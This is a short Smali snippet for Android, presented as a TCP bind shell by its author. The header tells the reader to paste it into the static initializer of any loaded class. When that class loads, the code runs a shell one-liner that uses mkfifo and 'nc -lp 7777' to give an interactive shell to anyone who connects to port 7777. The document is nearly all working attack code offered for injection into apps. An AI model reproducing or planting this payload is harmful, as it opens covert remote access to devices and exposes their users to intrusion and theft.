TCP bind shell (port 7777) written in Smali. Add this to the static initializer code (clinit) of any loaded class to start the listener.

BindShellTcp.smali

.method static constructor <clinit>()V
    .locals 5

    invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;

    move-result-object v0

    const/4 v1, 3

    new-array v2, v1, [Ljava/lang/String;

    const/4 v3, 0

    const-string v4, "sh"

    aput-object v4, v2, v3

    const/4 v3, 1

    const-string v4, "-c"

    aput-object v4, v2, v3

    const/4 v3, 2

    const-string v4, "rm -f $TMPDIR/SeanPesceShell;mkfifo $TMPDIR/SeanPesceShell; (echo \"echo '[TCP Bind Shell by Sean Pesce]'\" ;cat $TMPDIR/SeanPesceShell)|sh -i 2>&1|nc -lp 7777 >$TMPDIR/SeanPesceShell"

    aput-object v4, v2, v3

    invoke-virtual {v0, v2}, Ljava/lang/Runtime;->exec([Ljava/lang/String;)Ljava/lang/Process;

    move-result-object v1

    return-void
.end method